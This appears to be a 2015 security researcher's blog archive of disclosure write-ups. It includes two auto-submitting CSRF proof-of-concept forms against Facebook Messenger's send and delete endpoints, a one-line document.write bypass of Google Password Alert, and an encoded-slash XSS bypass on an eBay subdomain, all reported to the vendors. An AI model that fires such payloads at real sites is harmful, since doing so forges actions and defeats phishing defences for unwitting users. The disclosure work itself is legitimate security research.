Tuesday, November 3, 2015

Why Prebuilt Browsers are Bad: Introducing Firefox Security Toolkit


      I recently wrote an article on Bucrowd forums about why prebuilt browsers are bad. I also explained the countermeasures of using security-based prebuilt browsers, such as OWASP Mantra, and HconSTF, and how it's easy compromise any penetration tester that is using the current version of these projects.

      The article can be found here (Link).

      In case the article or the forum went down for any reason, I have made a PDF copy of the article that can be downloaded from here (Link).

      I have also provided a solution for penetration testers that uses OWASP Mantra and HconSTF in their daily work. The project I have done can be found here (Link).

      In case you have any issues or questions, feel free to send me an email, I will respond to you when possible.

Best regards,
Mazin Ahmed

Wednesday, September 9, 2015

Evading All Web-Application Firewalls XSS Filters

     During recent months, I was working on research that proves that all web-application firewalls do not protect against attacks as expected. The research focuses on evading the XSS filters of all popular Web-Application Firewalls, such as F5 Big IP, Imperva
Incapsula, AQTRONIX WebKnight, PHP-IDS, Mod-Security, Sucuri, QuickDefense, Barracuda WAF, and they were all evaded within the research.

     After evading the products, I have worked with vendors to patch all the discovered issues. The research should have been published in July 2015, but as a supporter of the responsible disclosure concept, I waited for companies to patch the bypasses and to get the final responses from them.

     The research is meant for educational uses only, and should not be used in performing malicious actions. I am not responsible for any malicious actions that is done using the information in the research.

     The research is ready to be shared with the public. You can find the links to download a copy of the paper below.

Download Link:-
MazinAhmed.net - Evading All Web-Application Firewalls XSS Filters.pdf


Saturday, July 25, 2015

Bypassing Google Password Alert with One Line of Code

Google Password Alert has became very popular recently. It’s very useful and can be a great defensive way to mitigate phishing damages against Google users.
As soon as it arrives, it has been bypassed several times, and Google has patched all the known techniques.
After I heard that Google has patched all known techniques, I thought about testing it to see how long would it takes for me to bypass it.
The first idea that came to me was to use document.write, encode the phishing page in Unicode, and see the results. The method worked successfully in v1.12.
I have reported the vulnerability to Google via Google VRP page, and the team member asked me to report it to the project's Github page. I have reported it to Github on June 24, and not received a response from Google about patching the bypass. The next version, v1.13 has been released without patching the issue. Therefore, the bypass currently working on v1.13.
Github Report: https://github.com/google/password-alert/issues/72

A full example would be as the following:
<script>document.write("[PAGE IN UNICODE]");</script> 
 
Demonstration Video:


Final Thoughts:
  • Google Password Alert is a great idea, as it helps preventing phishing attacks, the greatest threat to many companies. I would love to see next updates with new improvements towards it.
  • The whole bypass process took me about five minutes (including thinking), it was not a difficult challenge. I hope that Google puts more efforts into preventing evading techniques.

Tuesday, June 9, 2015

Facebook Messenger Multiple CSRF Vulnerabilities


In this post, I will be demonstrating the findings of multiple interesting cross-site request forgery vulnerabilities that I have identified on Facebook. These vulnerabilities allows an attacker to force the victim to do various actions.

On April 2015, Facebook officially launched messenger.com, a stand-alone Facebook messenger for the web. After hearing about the launch I have started to testing it in my spare time.

[*]Sending Unrestricted Messages to Any User via CSRF
Using this issue, I was able to force any user to send messages to other users without the user's knowledge.

POC:
<html> 
<title>POC @mazen160</title> 
<body onload="javascript:document.csrf_form.submit()"> 
<form name="csrf_form" method="POST" action="https://www.messenger.com/ajax/mercury/send_messages.php"> 
<input type="hidden" id="message_batch[0][author]" name="message_batch[0][author]" value="fbid:VALUE1">
<input type="hidden" id="message_batch[0][is_filtered_content]" name="message_batch[0][is_filtered_content]" value="false"> 
<input type="hidden" id="message_batch[0][is_spoof_warning]" name="message_batch[0][is_spoof_warning]" value="false"> 
<input type="hidden" id="message_batch[0][source]" name="message_batch[0][source]" value=""> 
<input type="hidden" id="message_batch[0][body]" name="message_batch[0][body]" value="@mazen160"> 
<input type="hidden" id="message_batch[0][specific_to_list][0]" name="message_batch[0][specific_to_list][0]" value="fbid:VALUE2"> 
<input type="hidden" id="message_batch[0][specific_to_list][1]" name="message_batch[0][specific_to_list][1]" value="fbid:VALUE1"> 
<input type="hidden" id="message_batch[0][client_thread_id]" name="message_batch[0][client_thread_id]" value="fbid:VALUE2"> 
</form> 
</body> 
</html>
Where:
VALUE1==From User
VALUE2==To Target


[*]Deleting Any messages via CSRF
Using this issue, I was able to force any user to delete messaging threads.

<html> 
<title>POC @mazen160</title> 
<body onload="javascript:document.csrf_form.submit()"> 
<form name="csrf_form" method="POST" action="https://www.messenger.com/ajax/mercury/delete_thread.php"> 
<input type="hidden" id="ids[0]" name="ids[0]" value="VALUE"> 
<input type="hidden" id="__user" name="__user" value=""> 
<input type="hidden" id="__a" name="__a" value="1"> 
<input type="hidden" id="__dyn" name="__dyn" value=""> 
<input type="hidden" id="__req" name="__req" value="p"> 
<input type="hidden" id="fb_dtsg" name="fb_dtsg" value=""> 
<input type="hidden" id="ttstamp" name="ttstamp" value=""> 
<input type="hidden" id="__rev" name="__rev" value=""> 
</form> 
</body> 
</html>
Change of the value of "ids[0]" parameter to the victim’s thread ID.

The issues has been fixed very quickly. I would like to thank Facebook security team for their outstanding work in responding to security submissions.

If you need any help securing your web-application or service, you can contact me by E-Mail, or Twitter.

Friday, May 29, 2015

Summary of HSTS Support in Modern Browsers

I have recently released an article about HSTS Policy in Modern Browsers. It has been released on ProtonMail Blog.

Title: Summary of HSTS Support in Modern Browsers
Date of Publish:  May 28th, 2015
Link: https://blog.protonmail.ch/summary-of-hsts-support-in-modern-browsers/

In case there is any issues in viewing the article, you can download the article in PDF via the following links:

Mirror #1: at MazinAhmed.net
Mirror #2: at Dropbox.com


Friday, April 24, 2015

My Experience with Ebay Bug Bounty Program



On January 2015, I have participated on Ebay bug bounty program. On that time, bug bounty programs were not as the same as now. The bug bounty programs industry today has increased by almost %100 than last year, and every week, a new bug bounty program starts on bug bounty platforms.

 I thought it will be a good idea to participate on their bug bounty program, report a single issue (the first finding), and then decide if I would like to test deeply further into their services.

After quick searches, I have found a subdomain called ebaycommercenetwork.com. I have then started testing it for common flaws.

I have noticed a Cross ­Site Scripting issue on http://ebaycommercenetwork.com/kb/[Payload]. It only filters the slash character “/”. The bypass for it was just by Hex encoding it. So “/” == %2F. Using the bypass, I have generated a pop-­up alert to indicate the existence of the XSS issue, as the following screenshot:

I guess you can imagine how much damage can be done with the above issue.

Then, I have reported the vulnerability to Ebay via their bug bounty program contact. After few clarifications from me, they have acknowledged the existence of the vulnerability and files a report regarding it. At that moment, I was glad about it, and waited for their act to fix the issue.

 On February 2015, I have contacted them to ask about the date of shipping a fix. Each time I contact them about when the fix will be shipped, they respond with non­-informative template email.

I had two options, the first option is to wait until the issue is fully fixed, and the second option was to disclose it after 45 days, which is a reasonable duration for companies to patch their application according to the ​US CERT​.

I have chosen the first option for the following reasons. This is the best option for customers to stay more secure, as public disclosure might put users in risk by using this issue via malicious users. Also, it will be better for Ebay’s reputation. Breaches, public valid vulnerabilities, and full disclosures might affects the company’s reputation. Furthermore, I wanted to know how seriously they will put in effort to patch the issue, although I fully understand it’s an easy ­to ­patch XSS issue that can be fixed with one line of code.

Each month, I check the existence of the issue without finding any changes by the company. After couple months I have contacted them multiple times again to understand the delay of shipping the patch, and they always respond with the same template email.

I didn't bother testing further for more flaws, as I knew at the moment that it won’t be fixed in a reasonable time­-frame (or perhaps, it won’t be fixed at all).

On December 2014, the issue still exists. Then I checked it on February 2015. Ebay has delivered a complete new web interface, and then I can say that the issue has been “fixed”.

I contacted them, informing Ebay Security that the issue has been patched, and asking for my place on Ebay researchers acknowledgement page. They have not responded to my email, so I send another email 2 weeks later, and nothing has been heard from them.

After checking the researcher’s page, they have not include my name in the company’s researchers acknowledgement page, although I have waited 13 months to have them patching the issue.

Final Thoughts: 

What you have read happens to many researchers. I believe I have chosen the right thing  to do with the vulnerability by reporting it right away to the company, but some companies  may have an official bug bounty program, and don’t follow the right steps in handling a private disclosure.

If you haven’t done it yet, you should read ​Bugcrowd’s blog​. It has a lot of educational contents for companies and researchers.

If you are planning to start a bug bounty program, or already have a running program, it will be better for both the company and the researcher to handle a security issue in a  better and quicker way. I might be patient when reporting vulnerabilities to bug bounty programs, but you do not know how would other’s react on a similar situation.

Ebay is a well­-reputable company, I am glad to participate in their program although what happened. I hope they plan to change their bug bounty programs steps in handling a private disclosure to the better.

Update [June 12th, 2015 ]: Ebay contacted me after publishing the article, and they acknowledged me by listing my name in the Responsible Disclosure Acknowledgement Page.
Link: http://ebay.com/securitycenter/ResearchersAcknowledgement.html